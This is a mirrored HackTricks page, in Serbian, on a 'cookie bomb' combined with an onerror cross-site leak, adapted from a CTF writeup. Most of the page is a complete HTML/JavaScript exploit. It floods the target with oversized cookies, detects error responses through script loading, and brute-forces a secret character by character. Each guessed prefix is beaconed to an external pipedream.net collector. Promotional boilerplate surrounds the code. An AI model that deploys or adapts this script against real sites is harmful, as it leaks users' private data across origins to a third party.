mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 13:56:22 +00:00
74 lines
4.3 KiB
Markdown
74 lines
4.3 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Sledeći **skript** preuzet sa [**ovde**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) iskorišćava funkcionalnost koja omogućava korisniku da **ubaci bilo koju količinu kolačića**, a zatim učitava fajl kao skript znajući da će pravi odgovor biti veći od lažnog. Ako uspe, odgovor je preusmeravanje sa rezultujućim URL-om koji je predugačak, **prevelik za obradu od strane servera pa vraća grešku sa HTTP status kodom**. Ako pretraga ne uspe, ništa se neće desiti jer je URL kratak.
|
|
```html
|
|
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
|
<script>
|
|
const $ = document.querySelector.bind(document);
|
|
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
|
|
let i = 0;
|
|
const stuff = async (len=3500) => {
|
|
let name = Math.random();
|
|
$("form").target = name;
|
|
let w = window.open('', name);
|
|
$("#f").value = "_".repeat(len);
|
|
$("#f").name = i++;
|
|
$("form").submit();
|
|
await sleep(100);
|
|
};
|
|
const isError = async (url) => {
|
|
return new Promise(r => {
|
|
let script = document.createElement('script');
|
|
script.src = url;
|
|
script.onload = () => r(false);
|
|
script.onerror = () => r(true);
|
|
document.head.appendChild(script);
|
|
});
|
|
}
|
|
const search = (query) => {
|
|
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
|
|
};
|
|
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
|
|
const url = "//en4u1nbmyeahu.x.pipedream.net/";
|
|
let known = "actf{";
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(url + "?load");
|
|
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
|
|
await stuff(1600);
|
|
navigator.sendBeacon(url + "?go");
|
|
while (true) {
|
|
for (let c of alphabet) {
|
|
let query = known + c;
|
|
if (await search(query)) {
|
|
navigator.sendBeacon(url, query);
|
|
known += c;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
};
|
|
</script>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|